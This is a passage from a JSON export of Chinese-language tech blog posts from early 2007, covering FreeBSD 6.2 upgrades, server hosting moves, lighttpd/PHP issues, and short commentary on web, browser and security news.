    "body": "<a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.2 從去年九月摸到現在，終於要正式 release 了 (參考 <a href=\"http://www.freebsd.org/releases/6.2R/schedule.html\">FreeBSD 6.2 Release Process</a> 這篇，可以知道原訂的 schedule 以及 delay 的程度)，目前 install files 與 ISO 都已經可以在 FTP 上看到了，各 mirror site 也都在 mirror 了，看起來只差正式的公告...\r\n\r\n剛剛先把 netnews.nctu.edu.tw 的 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 升級上來，目前看起來沒什麼問題，該動的都還是會動... :p\r\n\r\n升級一樣是 make {kernel,world} 後跑個 mergemaster，然後將原本從 ports 裡安裝的 net/csup 給幹掉，把 /etc/make.conf 裡的 /usr/local/bin/csup 換成 /usr/bin/csup 而已。",
    "title": "FreeBSD 6.2-RELEASE"
  },
  {
    "id": "1015",
    "body": "準備再搬一次家，從 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 的 Reseller 直接換到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a>。\r\n\r\n細節的部份等搬完再寫一篇慢慢解釋好了。",
    "title": "搬家"
  },
  {
    "id": "1016",
    "body": "<a href=\"http://www.netscape.com/\" rel=\"tag\">Netscpae</a> 把 <a href=\"http://backend.userland.com/rss091\" rel=\"tag\">RSS 0.91</a> 的 DTD 給拿掉了，這很有可能使得嚴謹的 XML Parser 造成問題：<a href=\"http://slashdot.org/articles/07/01/14/1359213.shtml\">Netscape Dumps Critical File, Breaks RSS 0.9 Feeds</a>。\r\n\r\nChristopher Finke (Netscape 的員工) 在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上說明了原因，因為 Netscape 的人重新設定 my.netscape.com 的時候，沒人知道那個東西是做什麼的，於是就炸了...：<a href=\"http://slashdot.org/comments.pl?cid=17603162&sid=216818&tid=95\">Sorry about that</a>。\r\n\r\n目前檔案還沒放回去，不過據 Christopher Finke 說他們會儘快處理。",
    "title": "RSS 0.91 的 DTD"
  },
  {
    "id": "1017",
    "body": "去年四月的時候從 <a href=\"http://www.dreamhost.com/\" rel=\"tag\">DreamHost</a> 換到 Dedicated Hosting (參考 <a href=\"http://blog.gslin.org/archives/2006/04/24/545/\">換 Hosting</a> 與 <a href=\"http://blog.gslin.org/archives/2006/05/05/562/\">Hosting...</a> 這兩篇)，當時租用的是 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 的 Reseller <a href=\"http://www.server4sale.com/\" rel=\"tag\">SERVER4SALE</a> 特價的機器，是台 <a href=\"http://www.amd.com/\" rel=\"tag\">AMD</a> <a href=\"http://en.wikipedia.org/wiki/Sempron\" rel=\"tag\">Sempron</a> 3000 + 1GB RAM + 兩顆 80GB 硬碟 + 10Mbps 網路 (1500GB/month) 的機器，價錢是 USD$90/month。\r\n\r\n後來用量愈來愈大了，於是打算換台比較快的機器，記憶體也希望多一點。於是就開始在網路上找便宜的 Dedicated Hosting，然後到 <a href=\"http://www.webhostingtalk.com/\" rel=\"tag\">WebHostingTalk</a> 上翻評價，翻了幾個月決定還是在 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 上找。(LT 在 <a href=\"http://www.webhostingtalk.com/\" rel=\"tag\">WebHostingTalk</a> 上很少有負面消息)\r\n\r\n看了看決定訂 <a href=\"https://order.layeredtech.com/servers.lt?categoryId=14\">LT-AMD-ATHLON-XP-2800-SANTA</a> 這台，然後把記憶體加到 2GB，然後年繳 (八折)，<a href=\"http://www.amd.com/\" rel=\"tag\">AMD</a> <a href=\"http://en.wikipedia.org/wiki/Athlon\" rel=\"tag\">Athlon</a> XP 2800 + 80GB*2 + 2GB RAM + 100Mbps (1500GB/month) 這樣應該夠用了。\r\n\r\n於是，我們將從 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 搬到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a>...",
    "title": "從 Layeredtech 搬到 Layeredtech"
  },
  {
    "id": "1018",
    "body": "我的 zookeeper (新版) 就卡在這邊，時間不會少，然後我找不到可以消的地方... @_@\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/646783\"><img src=\"http://static.zooomr.com/images/646783_5998981d31.jpg\" alt=\"\" /></a>",
    "title": "被玩爛的 zookeeper..."
  },
  {
    "id": "1020",
    "body": "新主機已經到了，我先把我的 blog 搬過來測試，但是發現 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 對於 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 頁面處理上有些問題：跑一陣子後 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 就跟 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> socket 失聯了，這時將 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 停掉後 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 還是會一直存在。\r\n\r\n測試許多次以後發現改用 TCP socket 就解決了，大概是 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 6.2 的 UNIX socket 有地雷吧。最後是在 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 的 Wiki 上用 <a href=\"http://trac.lighttpd.net/trac/wiki/fastcgi-php-starter-for-freebsd\">Handy External Spawning FastCGI PHP Processes in FreeBSD</a> 這篇所提供的 script，改一下就可以用了。",
    "title": "lighttpd + FastCGI + PHP 時的問題"
  },
  {
    "id": "1022",
    "body": "最近的調查發現，即使 IE7 下載次數突破一億次，<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的使用率還是在成長，絕大多數的 IE7 下載者都是本來使用 IE6 的使用者，而 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的使用者還是繼續使用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>：<a href=\"http://slashdot.org/articles/07/01/17/0311219.shtml\">After 100M IE7 Downloads, Firefox Still Gaining</a>。\r\n\r\n有不少下載者是因為 Windows Update (現在叫 Microsoft Update) 在十一月的時候把 IE7 列入重大更新而下載，而原先使用 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的人還是繼續用得很爽。\r\n\r\n很期待 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 3.0 出來後對於網頁標準化的影響...",
    "title": "Firefox 持續成長"
  },
  {
    "id": "1023",
    "body": "在 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 維護人 Ryan 的 Blog 上看到 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.1 RC1 釋出了：<a href=\"http://boren.nu/archives/2007/01/17/wordpress-21-release-candidate-1/\">WordPress 2.1 Release Candidate 1</a>，有興趣的人要注意 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的需求變成 4.0+ (用 3.23 的也許要自己多保重？)，以及 Plugin 部份因為 API 的變更可能會有問題。\r\n\r\n或者，你可以平常就追 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> SVN 版本，雖然偶而會踩到地雷... :p",
    "title": "WordPress 2.1 RC1"
  },
  {
    "id": "1024",
    "body": "看 Security 的 RSS feed 資訊的時候看到 <a href=\"http://www.mbse.eu/mbse/mbsebbs/\" rel=\"tag\">MBSE BBS</a> 這個 telnet-based BBS System，看一看 Screenshot，操作介面差不多跟七八年前一樣... :p",
    "title": "MBSE BBS"
  },
  {
    "id": "1025",
    "body": "<a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 在一月七號寫的 <a href=\"http://mclee.foolme.net/2007/01/customer-relations.html\">Customer Relations - 被遺忘的環節</a> 裡面提到：\r\n<blockquote>這次 aNobii 的回答，也讓我有這種類似的感受。當然，如果 Amazon 事後每一次都還是掉包裹，如果 aNobii 發了這封信以後每一次還是照樣當機，那這種做法還是不管用。</blockquote>\r\n剛好遇上 books.com.tw 這次當翻了 (剛好也是網路書店的龍頭？)，errr... 突然想到 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 寫的這篇...",
    "title": "客戶的感想？"
  },
  {
    "id": "1026",
    "body": "美國在 2003 年通過的 <a href=\"http://en.wikipedia.org/wiki/CAN-SPAM_Act_of_2003\" rel=\"tag\">CAN-SPAM Act of 2003</a> 在三年之後「終於」有第一個用這個法案定罪的人：<a href=\"http://slashdot.org/yro/07/01/18/1953212.shtml\">First Spammer Convicted Under CAN-SPAM Law</a>。",
    "title": "CAN-SPAM"
  },
  {
    "id": "1027",
    "body": "在 <a href=\"http://about.skype.com/2007/01/skype_takes_internet_communica.html\">Skype Takes Internet Communications One Step Further With New Pricing Strategy</a> 這篇裡面提到了 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 將推出 <a href=\"http://www.skype.com/products/skypepro/\" rel=\"tag\">Skype Pro</a>：不同與以往的「打多少算多少」，<a href=\"http://www.skype.com/products/skypepro/\" rel=\"tag\">Skype Pro</a> 是每個月收 €2，但打各國的市內內電話就只要每通 €0.039 的接線費。\r\n\r\nPS：不過我記得 <a href=\"http://www.skype.com/products/skypeout/\" rel=\"tag\">SkypeOut</a> 每兩個小時就會斷線一次，所以... :p\r\n\r\nUpdate：參考 <a href=\"http://taiwan.cnet.com/\" rel=\"tag\">Taiwan CNET</a> 這篇 <a href=\"http://taiwan.cnet.com/news/software/0,2000064574,20114186,00.htm\">SkypeOut閃電調整收費結構</a>。",
    "title": "Skype Pro"
  },
  {
    "id": "1028",
    "body": "據說 <a href=\"http://www.urmap.com/\" rel=\"tag\">UrMap</a> 要維修到 22 號，除了搜尋的功能無法搜尋地標外，連上面捷運站的標示都消失了。\r\n\r\n不過發現跟 <a href=\"http://www.urmap.com/\" rel=\"tag\">UrMap</a> 使用同一個 engine 的 <a href=\"http://maps.yam.com/\" rel=\"tag\">Yam蕃薯藤-活地圖</a> 地標的部份還在，這幾天加減用吧...",
    "title": "電子地圖"
  },
  {
    "id": "1030",
    "body": "在 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Bruce Schneier 的 Blog</a> 上看到紐約的 911 call center 支援圖片與影像的傳輸：<a href=\"http://www.schneier.com/blog/archives/2007/01/sending_photos.html\">Sending Photos to 911 Operators</a>。\r\n\r\n這代表在紐約報案時如果報案人很緊張說不清楚，或是語言不太通 (有很重的口音之類的)，也可以透過手機將照片或是影片傳給 911 中心。",
    "title": "紐約的 911 接受圖片以及影像的傳輸"
  },
  {
    "id": "1031",
    "body": "去年十一月的時候老人家想要買幾本書，用同為 <a href=\"http://www.yichi.org/\" rel=\"tag\">義氣幫</a> 的 <a href=\"http://pesty.yichi.org/\" rel=\"tag\">pesty</a> 所開發的 <a href=\"http://findbook.tw/\" rel=\"tag\">findbook.tw</a> 查了這幾本書，發現是 books.com.tw 最便宜，連過去要買的時候發現「認證沒過」(滿臉疑惑)，看了一下信箱裡面的資料，發現我從 2001 年就有買書了，沒過認證？\r\n\r\n好吧... 沒過就沒過，把 mail 改到 <a href=\"http://gmail.google.com/\" rel=\"tag\">gmail</a> 去的總行了吧，按下送出後過了兩天還是沒收到，再換成 gslin.org 的，又過了兩天沒收到 (看 maillog 發現連個鳥蛋連線都沒有)，再換成 ccca.nctu.edu.tw、csie.nctu.edu.tw 沒一個有收的到 !@#$%^...\r\n\r\nAnyway，這件事情就暫時忘記了，1/13 的時候老人家突然想起來問我，我又上去試了一次發現還是不行，於是打算註冊新帳號，發現 darkkiller 有人註冊了 (!!!)，口吾... try 了幾次密碼後放棄，寫個 mail 給客服問 (留 <a href=\"http://gmail.google.com/\" rel=\"tag\">gmail</a> 信箱)，先繼續做其他的事情，然後又忘記了... :o\r\n\r\n剛剛突然想買書 (累積十本了...)，去 <a href=\"http://findbook.tw/\" rel=\"tag\">findbook</a> 找了一下發現還是 books.com.tw，想到根本沒收到客服的回信，沒力氣再去試 mail verify，決定直接打電話找客服，結果打過去叫我上班時間再打... 我決定先寫一篇幹勦，星期一早上再來打 -_- 這堆書還是先請 <a href=\"http://blake.yichi.org/\" rel=\"tag\">Blake 學長</a> 幫忙訂好了...\r\n\r\nPS：我還為此看了看 books.com.tw 的 HTML form 怎麼傳之類的，發現好像用了很多 DES crypt() 充當 secure hash 用...",
    "title": "博客來 (books.com.tw) 實在是..."
  },
  {
    "id": "1032",
    "body": "<a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 新版前陣子開放自訂 Domain 的功能 (使用舊版 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a> 的要先轉成英文版，再轉到新版的 <a href=\"http://www.blogger.com/\" rel=\"tag\">Blogger</a>，再轉回繁體中文)，然後被發現有安全問題：<a href=\"http://blog.outer-court.com/archive/2007-01-14-n21.html\">Details of Google's Latest Security Hole</a>。\r\n\r\n在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 修正後這個問題後，有不少人發現在設定某些 .com 的 domain 會出現 \"Another blog is already hosted at this address.\" 的錯誤訊息，而如果是 .info 的 domain 則是 100% 會出現這個訊息...\r\n\r\n看起來是某種 bug，或者是 .info 的 domain 有問題？\r\n\r\n參考：\r\n<ul>\r\n\t<li><a href=\"http://bloggerstatusforrealbeta.blogspot.com/2007/01/setup-your-google-custom-domain.html\">Setup Your Google Custom Domain Name Properly</a></li>\r\n\t<li><a href=\"http://mastertalk.ru/topic19340.html\">Проблема прикручивания своего домена к blogger.com, Странная ошибка.</a></li>\r\n</ul>",
    "title": "在 Blogger 上使用自己的 Domain"
  },
  {
    "id": "1033",
    "body": "在 <a href=\"http://www.searchenginejournal.com/\" rel=\"tag\">Search Engine Journal</a> 上看到 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia 英文版</a> 將所有對外的連結都加上 rel=\"nofollow\" (目前中文版的部份也都有 re=\"nofollow\" 了)，希望能減少 Spam 的量：<a href=\"http://www.searchenginejournal.com/?p=4288\">All Wikipedia Links Are Now NOFOLLOW</a>。\r\n\r\n不過我覺得是沒有用啦... rel=\"nofollow\" 都實行兩年了，實際產生的「成效」大家也都看得見 :p\r\n\r\n關於 nofollow 是什麼，參考這幾篇：\r\n<ul>\r\n\t<li><a href=\"http://gslin.org/2005/01/19/422/\">Comment Spam 的解決方案</a></li>\r\n\t<li><a href=\"http://blog.othree.net/log/2005/01/21/rel_nofollow/\">rel=\"nofollow\"</a></li>\r\n\t<li><a href=\"http://www.chedong.com/blog/archives/000657.html\">+1 rel=\"nofollow\" = 互联网为超链戴上的安全套?! ;-)</a></li>\r\n\t<li><a href=\"http://www.richyli.com/blog/2005/01/google-comment-spam.html\">Google 開始反 comment spam 了</a></li>\r\n\t<li><a href=\"http://yanfeng.org/blog/529/\">rel = \"nofollow\"</a></li>\r\n</ul>\r\n突然想到，nofollow 的感覺跟大有為的政府宣佈非約定轉帳金額調降至 $30k/day 一樣，「怕被騙那就限制住好了」:p",
    "title": "Wikipedia 將對外連結加上 rel=\"nofollow\""
  },
  {
    "id": "1034",
    "body": "最近 <a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 有一篇文章在講 Online RSS Aggregator (像是 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a>、<a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a>、...) 的成長，比較特別的是 <a href=\"http://www.rojo.com/\" rel=\"tag\">Rojo</a> 成長的幅度特別高：<a href=\"http://www.techcrunch.com/2007/01/19/just-how-big-is-google-reader/\">Just How Big Is Google Reader?</a>。\r\n\r\n<a href=\"http://factoryjoe.com/blog/\" rel=\"tag\">Chris Messina</a> 在文章裡的第 56 comment 裡面有提到 <a href=\"http://www.rojo.com/\" rel=\"tag\">Rojo</a> 拿掉 robots.txt 搞 SEO 的事情，而 <a href=\"http://gigaom.com/\" rel=\"tag\">GigaOM</a> 乾脆將 <a href=\"http://www.rojo.com/\" rel=\"tag\">Rojo</a> 故意拿掉 robots.txt 的事情寫成一篇文章：<a href=\"http://gigaom.com/2007/01/22/the-real-reason-for-rojos-growth/\">The real reason for Rojo's growth</a>。",
    "title": "Rojo 的 SEO"
  },
  {
    "id": "1035",
    "body": "太久沒設定都忘了... 紀錄起來：\r\n\r\n如果 dmesg 有看到 HTT 這個 flag，但是沒有看到多顆 CPU，那麼除了加上一般多 CPU 會用的 options SMP 以外，還要加上下面這行，然後 recompile kernel：\r\n<blockquote><code>options MPTABLE_FORCE_HTT</code></blockquote>\r\n接下來到 <code>/etc/sysctl.conf</code> 加上：\r\n<blockquote><code>machdep.hyperthreading_allowed=1</code></blockquote>\r\n重開機後理論上打 top 就可以看到了。",
    "title": "在 FreeBSD 上打開 Hyperthreading 的方法"
  },
  {
    "id": "1036",
    "body": "<a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 報導了 <a href=\"https://www.stolenidsearch.com/\" rel=\"tag\">Stolen ID Search</a> 這個站，據網頁上的說法，你可以輸入你的 SSN 或是信用卡卡號，然後他會去找看看在名單裡面存不存在 XD：<a href=\"http://www.techcrunch.com/2007/01/22/find-out-if-your-social-security-or-credit-card-numbers-are-on-the-internet/\">Find Out If Your Social Security or Credit Card Numbers are on the Internet</a>。\r\n\r\n雖然整個傳輸過程都是透過 SSL，但如同 comment 所說的，你根本不知道這個站台會不會把你輸入的 SSN 或是信用卡卡號記錄下來 XD",
    "title": "搜尋信用卡卡號是否被盜用？"
  },
  {
    "id": "1037",
    "body": "<a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 刪除信件的功能一直都沒有快速鍵，結果有人發現在 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 9.1 可以用 End 鍵做到：<a href=\"http://www.searchenginejournal.com/?p=4296\">'Secret' Gmail Delete Mail Keyboard Shortcut</a>。\r\n\r\n因為其他所有的 Browser 都做不到，所以我猜可以用 End 在 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 9.1 裡面刪除的功能應該是 bug 造成的吧 XD\r\n\r\n<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 裡的某些人大概又開始在暗幹 <a href=\"http://www.opera.com/\" rel=\"tag\">Opera</a> 了... XD",
    "title": "Gmail 刪除信件的快速鍵"
  },
  {
    "id": "1038",
    "body": "<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 打算付錢找人去改 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上的文章，尤其是去修改關於自家 <a href=\"http://en.wikipedia.org/wiki/OOXML\" rel=\"tag\">OOXML</a> 的負面消息：<a href=\"http://www.oreillynet.com/xml/blog/2007/01/an_interesting_offer.html\">An interesting offer: get paid to contribute to Wikipedia</a>。\r\n\r\n而 <a href=\"http://en.wikipedia.org/wiki/Jimmy_Wales\" rel=\"tag\">Jimmy Wales</a> 當然就很不滿了，他認為如果接受 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 這份工作是很不道德的，這些人將會被 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 永久隔離：<a href=\"http://www.boingboing.net/2007/01/22/microsofts_paytoedit.html\">Microsoft's pay-to-edit Wikipedia meddling: Wales not amused</a>。",
    "title": "Microsoft 的 PR"
  },
  {
    "id": "1039",
    "body": "剛剛從 <a href=\"http://lists.tartarus.org/mailman/listinfo/putty-announce\" rel=\"tag\">PuTTY-announce</a> 的 mailing list 收到了 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 出 0.59 版的消息，從 0.58 到 0.59 改變的功能可以參考 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html\">PuTTY Change Log</a> 這頁。\r\n\r\n這個版本有一些效能與安全性的改善 (包括 SSH 本身，與 SFTP)，看到一個是支援了 <a href=\"http://en.wikipedia.org/wiki/RC4\" rel=\"tag\">RC4</a>，應該是給需要速度的人用的關係吧。\r\n\r\n去下載下來玩看看 :p\r\n\r\n<strong>Update</strong>：RC4 cipher 用起來頓頓的，其他看起來沒什麼不同 @_@",
    "title": "PuTTY 0.59 更新"
  },
  {
    "id": "1040",
    "body": "這陣子 <a href=\"http://jeffr-tech.livejournal.com/\" rel=\"tag\">Jeff Roberson</a> 在改寫 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上的 SCHED_ULE，也就是 <a href=\"http://jeffr-tech.livejournal.com/3729.html\" rel=\"tag\">ULE 2.0</a>。\r\n\r\n據他在 <a href=\"http://jeffr-tech.livejournal.com/4467.html\">ULE cpu selection.</a> 這篇的說法，在 8 core CPU 的 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上跑 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 測試，ULE 2.0 比 4BSD 快了 300%。(不過據下面 comment 的數字，應該是快 200%，30k v.s. 10k)\r\n\r\n然後他就想要弄個 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 出來測試，但他對於 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 與 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的 tuning 不熟，所以就寫了一篇 <a href=\"http://jeffr-tech.livejournal.com/5065.html\">Linux vs bsd database shootout! Sort of.</a>，希望找到人幫他 tune，結果 <a href=\"http://www.livejournal.com/\" rel=\"tag\">LiveJournal</a> 魔頭之一 <a href=\"http://bradfitzpatrick.com/\" rel=\"tag\">Brad Fitzpatrick</a> 跳出來說他可以幫忙 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的部份。\r\n\r\nAnyway，很多人都很期待這次的 benchmark，畢竟 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 發展的重點是在多 CPU 環境 (尤其是 2 core 與 4 core)，而非單 CPU 環境。\r\n\r\n之前幫 far (<a href=\"http://www.pixnet.net/\" rel=\"tag\">Pixnet</a> 站長，很糟糕的學弟 XD) 弄 search 功能的時候就聽到他在抱怨對 <a href=\"http://www.debian.org/\" rel=\"tag\">Debian</a> 不熟，可是不得不在上面跑 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a>... 我想他應該頗高興的 :p",
    "title": "FreeBSD 的 ULE 2.0"
  },
  {
    "id": "1041",
    "body": "<a href=\"http://www.nist.gov/\" rel=\"tag\">NIST</a> 打算尋 <a href=\"http://en.wikipedia.org/wiki/Advanced_Encryption_Standard\" rel=\"tag\">AES</a> 當初彼此互相競爭的模式訂出新的 Secure Hash Function 以取代現有的 SHA，同時 <a href=\"http://www.nist.gov/\" rel=\"tag\">NIST</a> 也已經要求美國聯邦政府單位使用 SHA-2 (SHA-256) 取代現有的 SHA-1：<a href=\"http://slashdot.org/it/07/01/24/020205.shtml\" rel=\"tag\">A Competition To Replace SHA-1</a>。\r\n\r\n整個時程估計大約花三年的時間，希望能在 2010 年看到新的 Secure Hash Function。",
    "title": "NIST 打算取代 SHA"
  },
  {
    "id": "1043",
    "body": "<a href=\"http://www.bigsound.org/portnoy/weblog/002635.html\">上知識家的姿勢要佳</a> 裡面的一段：\r\n<blockquote>政治人物用網路拼選舉歷來有三個目的：初期是為了用奇招引起主流媒體注意與報導，以及獲得少數精英認同；中期是為了募款以及進行點對點宣傳；後期則是直接將網路意見當成幕僚(偽幕僚)。越到後期，政治人物對網路的依賴就越高，這並不是說他們真的在乎什麼人民的意見，因為他們還是想要透過各種手段操弄這些意見，只是隨著網路茁壯不得不為的舉措。</blockquote>",
    "title": "政治人物用網路拼選舉的目的"
  },
  {
    "id": "1045",
    "body": "大約半年多前有人發現金屬價錢飆漲，一元銅板的金屬價值比面額高，於是就把主意動到一元銅板上面：<a href=\"http://www.ettoday.com/2006/05/18/10844-1943230.htm\">貴金屬價飆漲 有人蒐集硬幣想發財 央行：小心觸法</a>。\r\n\r\n結果剛剛在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到美國的<del datetime=\"2007-01-26T19:32:44+00:00\">五分</del> 一分 (<a href=\"http://en.wikipedia.org/wiki/Penny\" rel=\"tag\">Penny</a>) 也發生了同樣的情況 XDDD：<a href=\"http://slashdot.org/articles/07/01/26/1257240.shtml\">US Pennies To Be Worth Five Cents?</a>。\r\n\r\n不過這個利潤看起來不是很高，同樣都是犯法的事情，會想要犯法的人應該會考慮到印鈔票會比較快... -_-",
    "title": "銅板與金屬"
  },
  {
    "id": "1046",
    "body": "前陣子許多國外的媒體報導了南韓政府公開要求大家不要裝 Windows Vista。一開始大家很納悶，後來有人跳出來解釋了：<a href=\"http://slashdot.org/it/07/01/26/1455224.shtml\">Why South Korea Is Shackled To Windows</a>。\r\n\r\n依照文章內的說法，1998 年的時候因為電子商務的關係無法等到 <a href=\"http://en.wikipedia.org/wiki/SSL\" rel=\"tag\">SSL</a> 標準化才開始推動 (據文章裡說是 1999，不過 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上面的資料說 <a href=\"http://en.wikipedia.org/wiki/SSL\" rel=\"tag\">SSL</a> 早在這之前就有，1999 是 TLS 1.0 的規格書)，於是南韓政府決定使用 ActiveX 當作交易的安全架構。\r\n\r\n而由於 Vista 對於 ActiveX 的限制變嚴格了，很多現有的銀行、政府網站、南韓本地的交易站台全部都無法在 Vista (IE7) 上面運作，於是南韓政府才跳出來叫大家不要裝 Windows Vista，不是為了別的，而是因為短時間內根本無法轉換。\r\n\r\n原文的標題點明了問題的所在：<a href=\"http://www.kanai.net/weblog/archive/2007/01/26/00h53m55s\">the cost of monoculture</a>。",
    "title": "\"the cost of monoculture\""
  },
  {
    "id": "1047",
    "body": "由於 <a href=\"http://wiki.yichi.org/\" rel=\"tag\">wiki.yichi.org</a> 一直爛掉，於是就拿著錯誤訊息去找原因，結果發現好像是這個：<a href=\"http://bugs.php.net/bug.php?id=39351\">require and include fails to open file in current directory</a>。\r\n\r\n看起來中了地雷... <code>require()</code> 或是 <code>include()</code> 時的 bug，如果有遇到類似問題的人可以去投票，希望在 5.2.1 的時候能修正...。",
    "title": "PHP 5.2.0 地雷"
  },
  {
    "id": "1048",
    "body": "Chad Hurley at the World Economic Forum in Davos talks about his plans for copyright protection and to share revenue with producers.：\r\n<object width=\"425\" height=\"350\"><param name=\"movie\" value=\"http://www.youtube.com/v/JlYtu63_uDE\"></param><param name=\"wmode\" value=\"transparent\"></param><embed src=\"http://www.youtube.com/v/JlYtu63_uDE\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"425\" height=\"350\"></embed></object>",
    "title": "關於 Youtube 與其他人分享盈餘的影片"
  },
  {
    "id": "1049",
    "body": "Windows Vista 今天才在美國開賣，已經有人繞過 Windows Vista 的 DRM 了：\r\n<ul>\r\n\t<li><a href=\"http://slashdot.org/it/07/01/29/1811201.shtml\">Vista DRM Cracked by Security Researcher</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)</li>\r\n\t<li><a href=\"http://www.boingboing.net/2007/01/29/vista_drm_cracked.html\">Vista DRM cracked?</a> (<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a>)</li>\r\n</ul>\r\n原作者的文章在 <a href=\"http://www.alex-ionescu.com/?p=24\">Update on Driver Signing Bypass</a> 這篇。",
    "title": "Windows Vista DRM"
  },
  {
    "id": "1050",
    "body": "1998 年因 Database &amp; Transaction Processing 而獲得 <a href=\"http://en.wikipedia.org/wiki/Turing_Award\" rel=\"tag\">Turing Award</a> 的 <a href=\"http://en.wikipedia.org/wiki/James_N._Gray\">James N. Gray</a> 搭著小船在 San Francisco 外海失蹤，目前沒有收到求救呼叫，也找不到他的船隻：<a href=\"http://slashdot.org/developers/07/01/30/0353228.shtml\">Jim Gray Is Missing</a>。\r\n\r\n在台灣應該有不少人看過 Jim Gary (James Gary) 本人，因為去年 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 有邀請三位 <a href=\"http://en.wikipedia.org/wiki/Turing_Award\" rel=\"tag\">Turing Award</a> 得主 (<a href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\" rel=\"tag\">Niklaus Wirth</a>、<a href=\"http://en.wikipedia.org/wiki/James_N._Gray\" rel=\"tag\">James N. Gray</a>、<a href=\"http://en.wikipedia.org/wiki/Andrew_Yao\" rel=\"tag\">Andrew Yao</a>) 來台灣參加 <a href=\"http://www.microsoft.com/taiwan/education/pil/events/pil_events_10_1.aspx\">『21世紀的運算』學術研討會</a>，當時在圓山飯店舉辦。",
    "title": "Jim Gray 失蹤"
  },
  {
    "id": "1051",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到因為負責的單位不想管了，加上下面沒有人在用，於是他們打算註銷 .um 這個 <a href=\"http://en.wikipedia.org/wiki/Top-level_domain\" rel=\"tag\">TLD</a>：<a href=\"http://slashdot.org/it/07/01/30/1437224.shtml\">Outdated Domains To Meet Their End</a>。\r\n\r\num 應該是很多字的字尾... hmmm...",
    "title": ".um 註銷"
  },
  {
    "id": "1052",
    "body": "<a href=\"http://getfirebug.com/\" rel=\"tag\">Firebug</a> 的作者 <a href=\"http://www.joehewitt.com/\" rel=\"tag\">Joe Hewitt</a> 親自示範 <a href=\"http://getfirebug.com/\" rel=\"tag\">Firebug</a> 1.0 的使用技巧：<a href=\"http://ajaxian.com/archives/joe-hewitt-firebug-power-user-demo\">Joe Hewitt Firebug power user demo</a>。\r\n\r\n不過影片不太清楚，要知道在幹什麼應該還是要努力用聽的，另外平常最好就有在用 <a href=\"http://getfirebug.com/\" rel=\"tag\">Firebug</a>，這樣聽他講才會比較熟悉...",
    "title": "Firebug 的技巧"
  },
  {
    "id": "1053",
